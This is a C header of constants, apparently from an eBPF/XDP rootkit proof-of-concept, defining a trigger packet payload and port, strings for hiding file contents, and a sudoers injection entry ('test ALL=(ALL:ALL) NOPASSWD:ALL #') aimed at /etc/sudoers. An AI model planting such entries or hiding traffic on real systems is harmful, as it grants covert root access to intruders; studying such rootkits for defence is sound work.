2021-11-22 20:02:47 -05:00
|
|
|
#ifndef __CONSTANTS_H
|
|
|
|
|
#define __CONSTANTS_H
|
|
|
|
|
|
2022-01-16 06:45:45 -05:00
|
|
|
//XDP
|
2021-11-27 17:01:10 -05:00
|
|
|
#define SECRET_PACKET_PAYLOAD "XDP_PoC_0"
|
2021-11-24 12:17:31 -05:00
|
|
|
#define SECRET_PACKET_DEST_PORT 9000
|
2021-11-27 19:08:38 -05:00
|
|
|
#define SUBSTITUTION_NEW_PAYLOAD "The previous message has been hidden ;)"
|
2021-11-22 20:02:47 -05:00
|
|
|
|
2022-02-05 13:49:20 -05:00
|
|
|
|
2022-01-16 06:45:45 -05:00
|
|
|
//FS
|
|
|
|
|
#define STRING_FS_HIDE "This won't be seen"
|
|
|
|
|
#define STRING_FS_OVERWRITE "That is now hidden"
|
|
|
|
|
|
2022-02-05 13:49:20 -05:00
|
|
|
#define STRING_FS_SUDO_TASK "sudo"
|
|
|
|
|
#define STRING_FS_SUDO_TASK_LEN 5
|
|
|
|
|
#define STRING_FS_SUDOERS_FILE "/etc/sudoers"
|
|
|
|
|
#define STRING_FS_SUDOERS_FILE_LEN 13
|
2022-02-05 14:10:12 -05:00
|
|
|
#define STRING_FS_SUDOERS_ENTRY "test ALL=(ALL:ALL) NOPASSWD:ALL #"
|
|
|
|
|
#define STRING_FS_SUDOERS_ENTRY_LEN 34
|
2022-02-05 13:49:20 -05:00
|
|
|
|
2021-11-22 20:02:47 -05:00
|
|
|
#endif
|